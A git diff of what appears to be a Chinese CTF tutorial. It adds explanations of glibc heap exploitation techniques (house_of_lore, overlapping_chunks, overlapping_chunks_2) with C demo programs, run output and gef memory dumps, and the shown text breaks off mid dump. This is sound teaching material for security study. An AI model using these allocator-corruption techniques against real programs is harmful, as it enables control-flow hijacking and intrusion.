diff --git a/README.md b/README.md index be2837b..96e4f8a 100644 --- a/README.md +++ b/README.md @@ -71,6 +71,7 @@ - [3.3.4 返回导向编程(ROP)](doc/3.3.4_rop.md) - [3.3.5 Linux 堆利用(上)](doc/3.3.5_heap_exploit_1.md) - [3.3.6 Linux 堆利用(中)](doc/3.3.6_heap_exploit_2.md) + - [3.3.7 Linux 堆利用(下)](doc/3.3.7_heap_exploit_3.md) - [3.4 Web](doc/3.4_web.md) - [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md) - [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md) diff --git a/SUMMARY.md b/SUMMARY.md index 657b240..be0460e 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -62,6 +62,7 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One * [3.3.4 返回导向编程(ROP)](doc/3.3.4_rop.md) * [3.3.5 Linux 堆利用(上)](doc/3.3.5_heap_exploit_1.md) * [3.3.6 Linux 堆利用(中)](doc/3.3.6_heap_exploit_2.md) + * [3.3.7 Linux 堆利用(下)](doc/3.3.7_heap_exploit_3.md) * [3.4 Web](doc/3.4_web.md) * [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md) * [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md) diff --git a/doc/3.3.6_heap_exploit_2.md b/doc/3.3.6_heap_exploit_2.md index f2846e4..0dfa294 100644 --- a/doc/3.3.6_heap_exploit_2.md +++ b/doc/3.3.6_heap_exploit_2.md @@ -5,14 +5,11 @@ - [house_of_lore](#house_of_lore) - [overlapping_chunks](#overlapping_chunks) - [overlapping_chunks_2](#overlapping_chunks_2) - - [house_of_force](#house_of_force) - - [unsorted_bin_attack](#unsorted_bin_attack) - - [house_of_einherjar](#house_of_einherjar) - - [house_of_orange](#house_of_orange) [下载文件](../src/Others/3.3.5_heap_exploit) +## how2heap #### poison_null_byte ```c #include @@ -359,15 +356,561 @@ allocated by thread T0 here: ``` #### house_of_lore +```c +#include +#include +#include +#include + +void jackpot(){ puts("Nice jump d00d"); exit(0); } + +int main() { + intptr_t *victim = malloc(0x80); + memset(victim, 'A', 0x80); + void *p5 = malloc(0x10); + memset(p5, 'A', 0x10); + intptr_t *victim_chunk = victim - 2; + fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim); + + intptr_t* stack_buffer_1[4] = {0}; + intptr_t* stack_buffer_2[3] = {0}; + stack_buffer_1[0] = 0; + stack_buffer_1[2] = victim_chunk; + stack_buffer_1[3] = (intptr_t*)stack_buffer_2; + stack_buffer_2[2] = (intptr_t*)stack_buffer_1; + fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1); + fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2); + + free((void*)victim); + fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted bin\n", victim); + fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]); + fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); + + void *p2 = malloc(0x100); + fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\n", p2); + fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n", victim); + fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]); + fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); + + victim[1] = (intptr_t)stack_buffer_1; + fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); + + void *p3 = malloc(0x40); + char *p4 = malloc(0x80); + memset(p4, 'A', 0x10); + fprintf(stderr, "This last malloc should return a chunk at the position injected in bin->bk: %p\n", p4); + fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n", stack_buffer_2[2]); + + intptr_t sc = (intptr_t)jackpot; + memcpy((p4+40), &sc, 8); +} +``` +``` +$ gcc -g house_of_lore.c +$ ./a.out +Allocated the victim (small) chunk: 0x1b2e010 +stack_buffer_1: 0x7ffe5c570350 +stack_buffer_2: 0x7ffe5c570330 + +Freeing the victim chunk 0x1b2e010, it will be inserted in the unsorted bin +victim->fd: 0x7f239d4c9b78 +victim->bk: 0x7f239d4c9b78 + +Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x1b2e0c0 +The victim chunk 0x1b2e010 will be inserted in front of the SmallBin +victim->fd: 0x7f239d4c9bf8 +victim->bk: 0x7f239d4c9bf8 + +Now emulating a vulnerability that can overwrite the victim->bk pointer +This last malloc should return a chunk at the position injected in bin->bk: 0x7ffe5c570360 +The fd pointer of stack_buffer_2 has changed: 0x7f239d4c9bf8 + +Nice jump d00d +``` +在前面的技术中,我们已经知道怎样去伪造一个 fake chunk,接下来,我们要尝试伪造一条 small bins 链。 + +首先创建两个 chunk,第一个是我们的 victim chunk,请确保它是一个 small chunk,第二个随意,只是为了确保在 free 时 victim chunk 不会被合并进 top chunk 里。然后,在栈上伪造两个 fake chunk,让 fake chunk 1 的 fd 指向 victim chunk,bk 指向 fake chunk 2;fake chunk 2 的 fd 指向 fake chunk 1,这样一个 small bin 链就差不多了: +``` +gef➤ x/26gx victim-2 +0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk +0x603010: 0x4141414141414141 0x4141414141414141 +0x603020: 0x4141414141414141 0x4141414141414141 +0x603030: 0x4141414141414141 0x4141414141414141 +0x603040: 0x4141414141414141 0x4141414141414141 +0x603050: 0x4141414141414141 0x4141414141414141 +0x603060: 0x4141414141414141 0x4141414141414141 +0x603070: 0x4141414141414141 0x4141414141414141 +0x603080: 0x4141414141414141 0x4141414141414141 +0x603090: 0x0000000000000000 0x0000000000000021 <-- chunk p5 +0x6030a0: 0x4141414141414141 0x4141414141414141 +0x6030b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk +0x6030c0: 0x0000000000000000 0x0000000000000000 +gef➤ x/10gx &stack_buffer_2 +0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2 +0x7fffffffdc40: 0x00007fffffffdc50 0x0000000000400aed <-- fd->fake chunk 1 +0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1 +0x7fffffffdc60: 0x0000000000603000 0x00007fffffffdc30 <-- fd->victim chunk, bk->fake chunk 2 +0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00 +``` +molloc 中对于 small bin 链表的检查是这样的: +```c + [...] + + else + { + bck = victim->bk; + if (__glibc_unlikely (bck->fd != victim)) + { + errstr = "malloc(): smallbin double linked list corrupted"; + goto errout; + } + set_inuse_bit_at_offset (victim, nb); + bin->bk = bck; + bck->fd = bin; + + [...] +``` + +接下来释放掉 victim chunk,它会被放到 unsoted bin 中,且 fd/bk 均指向 unsorted bin 的头部: +``` +gef➤ x/26gx victim-2 +0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk [be freed] +0x603010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer +0x603020: 0x4141414141414141 0x4141414141414141 +0x603030: 0x4141414141414141 0x4141414141414141 +0x603040: 0x4141414141414141 0x4141414141414141 +0x603050: 0x4141414141414141 0x4141414141414141 +0x603060: 0x4141414141414141 0x4141414141414141 +0x603070: 0x4141414141414141 0x4141414141414141 +0x603080: 0x4141414141414141 0x4141414141414141 +0x603090: 0x0000000000000090 0x0000000000000020 <-- chunk p5 +0x6030a0: 0x4141414141414141 0x4141414141414141 +0x6030b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk +0x6030c0: 0x0000000000000000 0x0000000000000000 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x603000, bk=0x603000 + → Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE) +``` + +这时,申请一块大的 chunk,只需要大到让 malloc 在 unsorted bin 中找不到合适的就可以了。这样原本在 unsorted bin 中的 chunk,会被整理回各自的所属的 bins 中,这里就是 small bins: +``` +gef➤ heap bins small +[ Small Bins for arena 'main_arena' ] +[+] small_bins[8]: fw=0x603000, bk=0x603000 + → Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE) +``` + +接下来是最关键的一步,假设存在一个漏洞,可以让我们修改 victim chunk 的 bk 指针。那么就修改 bk 让它指向我们在栈上布置的 fake small bin: +``` +gef➤ x/26gx victim-2 +0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk [be freed] +0x603010: 0x00007ffff7dd1bf8 0x00007fffffffdc50 <-- bk->fake chunk 1 +0x603020: 0x4141414141414141 0x4141414141414141 +0x603030: 0x4141414141414141 0x4141414141414141 +0x603040: 0x4141414141414141 0x4141414141414141 +0x603050: 0x4141414141414141 0x4141414141414141 +0x603060: 0x4141414141414141 0x4141414141414141 +0x603070: 0x4141414141414141 0x4141414141414141 +0x603080: 0x4141414141414141 0x4141414141414141 +0x603090: 0x0000000000000090 0x0000000000000020 <-- chunk p5 +0x6030a0: 0x4141414141414141 0x4141414141414141 +0x6030b0: 0x0000000000000000 0x0000000000000111 <-- chunk p2 +0x6030c0: 0x0000000000000000 0x0000000000000000 +gef➤ x/10gx &stack_buffer_2 +0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2 +0x7fffffffdc40: 0x00007fffffffdc50 0x0000000000400aed <-- fd->fake chunk 1 +0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1 +0x7fffffffdc60: 0x0000000000603000 0x00007fffffffdc30 <-- fd->victim chunk, bk->fake chunk 2 +0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00 +``` +我们知道 small bins 是先进后出的,节点的增加发生在链表头部,而删除发生在尾部。这时整条链是这样的: +``` +HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> victim chunk <-> TAIL + +fd: -> +bk: <- +``` +fake chunk 2 的 bk 指向了一个未定义的地址,如果能通过内存泄露等手段,拿到 HEAD 的地址并填进去,整条链就闭合了。当然这里完全没有必要这么做。 + +接下来的第一个 malloc,会返回 victim chunk 的地址,如果 malloc 的大小正好等于 victim chunk 的大小,那么情况会简单一点。但是这里我们不这样做,malloc 一个小一点的地址,可以看到,malloc 从 small bin 里取出了末尾的 victim chunk,切了一块返回给 chunk p3,然后把剩下的部分放回到了 unsorted bin。同时 small bin 变成了这样: +``` +HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> TAIL +``` +``` +gef➤ x/26gx victim-2 +0x603000: 0x0000000000000000 0x0000000000000051 <-- chunk p3 +0x603010: 0x00007ffff7dd1bf8 0x00007fffffffdc50 +0x603020: 0x4141414141414141 0x4141414141414141 +0x603030: 0x4141414141414141 0x4141414141414141 +0x603040: 0x4141414141414141 0x4141414141414141 +0x603050: 0x4141414141414141 0x0000000000000041 <-- unsorted bin +0x603060: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer +0x603070: 0x4141414141414141 0x4141414141414141 +0x603080: 0x4141414141414141 0x4141414141414141 +0x603090: 0x0000000000000040 0x0000000000000020 <-- chunk p5 +0x6030a0: 0x4141414141414141 0x4141414141414141 +0x6030b0: 0x0000000000000000 0x0000000000000111 <-- chunk p2 +0x6030c0: 0x0000000000000000 0x0000000000000000 +gef➤ x/10gx &stack_buffer_2 +0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2 +0x7fffffffdc40: 0x00007fffffffdc50 0x0000000000400aed <-- fd->fake chunk 1 +0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1 +0x7fffffffdc60: 0x00007ffff7dd1bf8 0x00007fffffffdc30 <-- fd->TAIL, bk->fake chunk 2 +0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x603050, bk=0x603050 + → Chunk(addr=0x603060, size=0x40, flags=PREV_INUSE) +``` +最后,再次 malloc 将返回 fake chunk 1 的地址,地址在栈上且我们能够控制。同时 small bin 变成这样: +``` +HEAD(undefined) <-> fake chunk 2 <-> TAIL +``` +``` +gef➤ x/10gx &stack_buffer_2 +0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2 +0x7fffffffdc40: 0x00007ffff7dd1bf8 0x0000000000400aed <-- fd->TAIL +0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- chunk 4 +0x7fffffffdc60: 0x4141414141414141 0x4141414141414141 +0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00 +``` +于是我们就成功地骗过了 malloc 在栈上分配了一个 chunk。 + +最后再想一下,其实最初的 victim chunk 使用 fast chunk 也是可以的,其释放后虽然是被加入到 fast bins 中,而不是 unsorted bin,但 malloc 之后,也会被整理到 small bins 里。自行尝试吧。 + +heap-use-after-free,所以上面我们用于修改 bk 指针的漏洞,应该就是一个 UAF 吧,当然溢出也是可以的: +``` +$ gcc -fsanitize=address -g house_of_lore.c +$ ./a.out +Allocated the victim (small) chunk: 0x60c00000bf80 +stack_buffer_1: 0x7ffd1fbc5cd0 +stack_buffer_2: 0x7ffd1fbc5c90 + +Freeing the victim chunk 0x60c00000bf80, it will be inserted in the unsorted bin +================================================================= +==6034==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c00000bf80 at pc 0x000000400eec bp 0x7ffd1fbc5bf0 sp 0x7ffd1fbc5be0 +READ of size 8 at 0x60c00000bf80 thread T0 + #0 0x400eeb in main /home/firmy/how2heap/house_of_lore.c:27 + #1 0x7febee33c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) + #2 0x400b38 in _start (/home/firmy/how2heap/a.out+0x400b38) +``` #### overlapping_chunks +```c +#include +#include +#include +#include + +int main() { + intptr_t *p1,*p2,*p3,*p4; + + p1 = malloc(0x90 - 8); + p2 = malloc(0x90 - 8); + p3 = malloc(0x80 - 8); + memset(p1, 'A', 0x90 - 8); + memset(p2, 'A', 0x90 - 8); + memset(p3, 'A', 0x80 - 8); + fprintf(stderr, "Now we allocate 3 chunks on the heap\n"); + fprintf(stderr, "p1=%p\np2=%p\np3=%p\n\n", p1, p2, p3); + + free(p2); + fprintf(stderr, "Freeing the chunk p2\n"); + + int evil_chunk_size = 0x111; + int evil_region_size = 0x110 - 8; + *(p2-1) = evil_chunk_size; // Overwriting the "size" field of chunk p2 + fprintf(stderr, "Emulating an overflow that can overwrite the size of the chunk p2.\n\n"); + + p4 = malloc(evil_region_size); + fprintf(stderr, "p4: %p ~ %p\n", p4, p4+evil_region_size); + fprintf(stderr, "p3: %p ~ %p\n", p3, p3+0x80); + + fprintf(stderr, "\nIf we memset(p4, 'B', 0xd0), we have:\n"); + memset(p4, 'B', 0xd0); + fprintf(stderr, "p4 = %s\n", (char *)p4); + fprintf(stderr, "p3 = %s\n", (char *)p3); + + fprintf(stderr, "\nIf we memset(p3, 'C', 0x50), we have:\n"); + memset(p3, 'C', 0x50); + fprintf(stderr, "p4 = %s\n", (char *)p4); + fprintf(stderr, "p3 = %s\n", (char *)p3); +} +``` +``` +$ gcc -g overlapping_chunks.c +$ ./a.out +Now we allocate 3 chunks on the heap +p1=0x1e2b010 +p2=0x1e2b0a0 +p3=0x1e2b130 + +Freeing the chunk p2 +Emulating an overflow that can overwrite the size of the chunk p2. + +p4: 0x1e2b0a0 ~ 0x1e2b8e0 +p3: 0x1e2b130 ~ 0x1e2b530 + +If we memset(p4, 'B', 0xd0), we have: +p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa +p3 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa + +If we memset(p3, 'C', 0x50), we have: +p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa +p3 = CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa +``` +这个比较简单,就是堆块重叠的问题。通过一个溢出漏洞,改写 unsorted bin 中空闲堆块的 size,改变下一次 malloc 可以返回的堆块大小。 + +首先分配三个堆块,然后释放掉中间的一个: +``` +gef➤ x/60gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1 +0x602010: 0x4141414141414141 0x4141414141414141 +0x602020: 0x4141414141414141 0x4141414141414141 +0x602030: 0x4141414141414141 0x4141414141414141 +0x602040: 0x4141414141414141 0x4141414141414141 +0x602050: 0x4141414141414141 0x4141414141414141 +0x602060: 0x4141414141414141 0x4141414141414141 +0x602070: 0x4141414141414141 0x4141414141414141 +0x602080: 0x4141414141414141 0x4141414141414141 +0x602090: 0x4141414141414141 0x0000000000000091 <-- chunk 2 [be freed] +0x6020a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 +0x6020b0: 0x4141414141414141 0x4141414141414141 +0x6020c0: 0x4141414141414141 0x4141414141414141 +0x6020d0: 0x4141414141414141 0x4141414141414141 +0x6020e0: 0x4141414141414141 0x4141414141414141 +0x6020f0: 0x4141414141414141 0x4141414141414141 +0x602100: 0x4141414141414141 0x4141414141414141 +0x602110: 0x4141414141414141 0x4141414141414141 +0x602120: 0x0000000000000090 0x0000000000000080 <-- chunk 3 +0x602130: 0x4141414141414141 0x4141414141414141 +0x602140: 0x4141414141414141 0x4141414141414141 +0x602150: 0x4141414141414141 0x4141414141414141 +0x602160: 0x4141414141414141 0x4141414141414141 +0x602170: 0x4141414141414141 0x4141414141414141 +0x602180: 0x4141414141414141 0x4141414141414141 +0x602190: 0x4141414141414141 0x4141414141414141 +0x6021a0: 0x4141414141414141 0x0000000000020e61 <-- top chunk +0x6021b0: 0x0000000000000000 0x0000000000000000 +0x6021c0: 0x0000000000000000 0x0000000000000000 +0x6021d0: 0x0000000000000000 0x0000000000000000 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x602090, bk=0x602090 + → Chunk(addr=0x6020a0, size=0x90, flags=PREV_INUSE) +``` +chunk 2 被放到了 unsorted bin 中,其 size 值为 0x90。 + +接下来,假设我们有一个溢出漏洞,可以改写 chunk 2 的 size 值,比如这里我们将其改为 0x111,也就是原本 chunk 2 和 chunk 3 的大小相加,最后一位是 1 表示 chunk 1 是在使用的,其实有没有都无所谓。 +``` +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x602090, bk=0x602090 + → Chunk(addr=0x6020a0, size=0x110, flags=PREV_INUSE) +``` +这时 unsorted bin 中的数据也更改了。 + +接下来 malloc 一个大小的等于 chunk 2 和 chunk 3 之和的 chunk 4,这会将 chunk 2 和 chunk 3 都包含进来: +``` +gef➤ x/60gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1 +0x602010: 0x4141414141414141 0x4141414141414141 +0x602020: 0x4141414141414141 0x4141414141414141 +0x602030: 0x4141414141414141 0x4141414141414141 +0x602040: 0x4141414141414141 0x4141414141414141 +0x602050: 0x4141414141414141 0x4141414141414141 +0x602060: 0x4141414141414141 0x4141414141414141 +0x602070: 0x4141414141414141 0x4141414141414141 +0x602080: 0x4141414141414141 0x4141414141414141 +0x602090: 0x4141414141414141 0x0000000000000111 <-- chunk 4 +0x6020a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 +0x6020b0: 0x4141414141414141 0x4141414141414141 +0x6020c0: 0x4141414141414141 0x4141414141414141 +0x6020d0: 0x4141414141414141 0x4141414141414141 +0x6020e0: 0x4141414141414141 0x4141414141414141 +0x6020f0: 0x4141414141414141 0x4141414141414141 +0x602100: 0x4141414141414141 0x4141414141414141 +0x602110: 0x4141414141414141 0x4141414141414141 +0x602120: 0x0000000000000090 0x0000000000000080 <-- chunk 3 +0x602130: 0x4141414141414141 0x4141414141414141 +0x602140: 0x4141414141414141 0x4141414141414141 +0x602150: 0x4141414141414141 0x4141414141414141 +0x602160: 0x4141414141414141 0x4141414141414141 +0x602170: 0x4141414141414141 0x4141414141414141 +0x602180: 0x4141414141414141 0x4141414141414141 +0x602190: 0x4141414141414141 0x4141414141414141 +0x6021a0: 0x4141414141414141 0x0000000000020e61 <-- top chunk +0x6021b0: 0x0000000000000000 0x0000000000000000 +0x6021c0: 0x0000000000000000 0x0000000000000000 +0x6021d0: 0x0000000000000000 0x0000000000000000 +``` +这样,相当于 chunk 4 和 chunk 3 就重叠了,两个 chunk 可以互相修改对方的数据。就像上面的运行结果打印出来的那样。 #### overlapping_chunks_2 +```c +#include +#include +#include +#include +#include -#### house_of_force +int main() { + intptr_t *p1,*p2,*p3,*p4,*p5,*p6; + unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6; + int prev_in_use = 0x1; -#### unsorted_bin_attack + p1 = malloc(0x10); + p2 = malloc(0x80); + p3 = malloc(0x80); + p4 = malloc(0x80); + p5 = malloc(0x10); + real_size_p1 = malloc_usable_size(p1); + real_size_p2 = malloc_usable_size(p2); + real_size_p3 = malloc_usable_size(p3); + real_size_p4 = malloc_usable_size(p4); + real_size_p5 = malloc_usable_size(p5); + memset(p1, 'A', real_size_p1); + memset(p2, 'A', real_size_p2); + memset(p3, 'A', real_size_p3); + memset(p4, 'A', real_size_p4); + memset(p5, 'A', real_size_p5); + fprintf(stderr, "Now we allocate 5 chunks on the heap\n\n"); + fprintf(stderr, "chunk p1: %p ~ %p\n", p1, (unsigned char *)p1+malloc_usable_size(p1)); + fprintf(stderr, "chunk p2: %p ~ %p\n", p2, (unsigned char *)p2+malloc_usable_size(p2)); + fprintf(stderr, "chunk p3: %p ~ %p\n", p3, (unsigned char *)p3+malloc_usable_size(p3)); + fprintf(stderr, "chunk p4: %p ~ %p\n", p4, (unsigned char *)p4+malloc_usable_size(p4)); + fprintf(stderr, "chunk p5: %p ~ %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5)); -#### house_of_einherjar + free(p4); + fprintf(stderr, "\nLet's free the chunk p4\n\n"); -#### house_of_orange + fprintf(stderr, "Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)\n\n"); + *(unsigned int *)((unsigned char *)p1 + real_size_p1) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; // BUG HERE + + free(p2); + + p6 = malloc(0x1b0 - 0x10); + real_size_p6 = malloc_usable_size(p6); + fprintf(stderr, "Allocating a new chunk 6: %p ~ %p\n\n", p6, (unsigned char *)p6+real_size_p6); + + fprintf(stderr, "Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)\n"); + fprintf(stderr, "p3 before = %s\n", (char *)p3); + memset(p6, 'B', 0xd0); + fprintf(stderr, "p3 after = %s\n", (char *)p3); +} +``` +``` +$ gcc -g overlapping_chunks_2.c +$ ./a.out +Now we allocate 5 chunks on the heap + +chunk p1: 0x18c2010 ~ 0x18c2028 +chunk p2: 0x18c2030 ~ 0x18c20b8 +chunk p3: 0x18c20c0 ~ 0x18c2148 +chunk p4: 0x18c2150 ~ 0x18c21d8 +chunk p5: 0x18c21e0 ~ 0x18c21f8 + +Let's free the chunk p4 + +Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3) + +Allocating a new chunk 6: 0x18c2030 ~ 0x18c21d8 + +Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0) +p3 before = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA� +p3 after = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA� +``` +同样是堆块重叠的问题,前面那个是在 chunk 已经被 free,加入到了 unsorted bin 之后,再修改其 size 值,然后 malloc 一个不一样的 chunk 出来,而这里是在 free 之前修改 size 值,使 free 错误地修改了下一个 chunk 的 prev_size 值,导致中间的 chunk 强行合并。另外前面那个重叠是相邻堆块之间的,而这里是不相邻堆块之间的。 + +我们需要五个堆块,假设第 chunk 1 存在溢出,可以改写第二个 chunk 2 的数据,chunk 5 的作用是防止释放 chunk 4 后被合并进 top chunk。所以我们要重叠的区域是 chunk 2 到 chunk 4。首先将 chunk 4 释放掉,注意看 chunk 5 的 prev_size 值: +``` +gef➤ x/70gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1 +0x602010: 0x4141414141414141 0x4141414141414141 +0x602020: 0x4141414141414141 0x0000000000000091 <-- chunk 2 +0x602030: 0x4141414141414141 0x4141414141414141 +0x602040: 0x4141414141414141 0x4141414141414141 +0x602050: 0x4141414141414141 0x4141414141414141 +0x602060: 0x4141414141414141 0x4141414141414141 +0x602070: 0x4141414141414141 0x4141414141414141 +0x602080: 0x4141414141414141 0x4141414141414141 +0x602090: 0x4141414141414141 0x4141414141414141 +0x6020a0: 0x4141414141414141 0x4141414141414141 +0x6020b0: 0x4141414141414141 0x0000000000000091 <-- chunk 3 +0x6020c0: 0x4141414141414141 0x4141414141414141 +0x6020d0: 0x4141414141414141 0x4141414141414141 +0x6020e0: 0x4141414141414141 0x4141414141414141 +0x6020f0: 0x4141414141414141 0x4141414141414141 +0x602100: 0x4141414141414141 0x4141414141414141 +0x602110: 0x4141414141414141 0x4141414141414141 +0x602120: 0x4141414141414141 0x4141414141414141 +0x602130: 0x4141414141414141 0x4141414141414141 +0x602140: 0x4141414141414141 0x0000000000000091 <-- chunk 4 [be freed] +0x602150: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer +0x602160: 0x4141414141414141 0x4141414141414141 +0x602170: 0x4141414141414141 0x4141414141414141 +0x602180: 0x4141414141414141 0x4141414141414141 +0x602190: 0x4141414141414141 0x4141414141414141 +0x6021a0: 0x4141414141414141 0x4141414141414141 +0x6021b0: 0x4141414141414141 0x4141414141414141 +0x6021c0: 0x4141414141414141 0x4141414141414141 +0x6021d0: 0x0000000000000090 0x0000000000000020 <-- chunk 5 <-- prev_size +0x6021e0: 0x4141414141414141 0x4141414141414141 +0x6021f0: 0x4141414141414141 0x0000000000020e11 <-- top chunk +0x602200: 0x0000000000000000 0x0000000000000000 +0x602210: 0x0000000000000000 0x0000000000000000 +0x602220: 0x0000000000000000 0x0000000000000000 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x602140, bk=0x602140 + → Chunk(addr=0x602150, size=0x90, flags=PREV_INUSE) +``` +free chunk 4 被放入 unsorted bin,大小为 0x90。 + +接下来是最关键的一步,利用 chunk 1 的溢出漏洞,将 chunk 2 的 size 值修改为 chunk 2 和 chunk 3 的大小之和,即 0x90+0x90+0x1=0x121,最后的 1 是标志位。这样当我们释放 chunk 2 的时候,malloc 根据这个被修改的 size 值,会以为 chunk 2 加上 chunk 3 的区域都是要释放的,然后就错误地修改了 chunk 5 的 prev_size。接着,它发现紧邻的一块 chunk 4 也是 free 状态,就把它俩合并在了一起,组成一个大 free chunk,放进 unsorted bin 中。 +``` +gef➤ x/70gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1 +0x602010: 0x4141414141414141 0x4141414141414141 +0x602020: 0x4141414141414141 0x00000000000001b1 <-- chunk 2 [be freed] <-- unsorted bin +0x602030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer +0x602040: 0x4141414141414141 0x4141414141414141 +0x602050: 0x4141414141414141 0x4141414141414141 +0x602060: 0x4141414141414141 0x4141414141414141 +0x602070: 0x4141414141414141 0x4141414141414141 +0x602080: 0x4141414141414141 0x4141414141414141 +0x602090: 0x4141414141414141 0x4141414141414141 +0x6020a0: 0x4141414141414141 0x4141414141414141 +0x6020b0: 0x4141414141414141 0x0000000000000091 <-- chunk 3 +0x6020c0: 0x4141414141414141 0x4141414141414141 +0x6020d0: 0x4141414141414141 0x4141414141414141 +0x6020e0: 0x4141414141414141 0x4141414141414141 +0x6020f0: 0x4141414141414141 0x4141414141414141 +0x602100: 0x4141414141414141 0x4141414141414141 +0x602110: 0x4141414141414141 0x4141414141414141 +0x602120: 0x4141414141414141 0x4141414141414141 +0x602130: 0x4141414141414141 0x4141414141414141 +0x602140: 0x4141414141414141 0x0000000000000091 <-- chunk 4 [be freed] +0x602150: 0x00007ffff7dd1b78 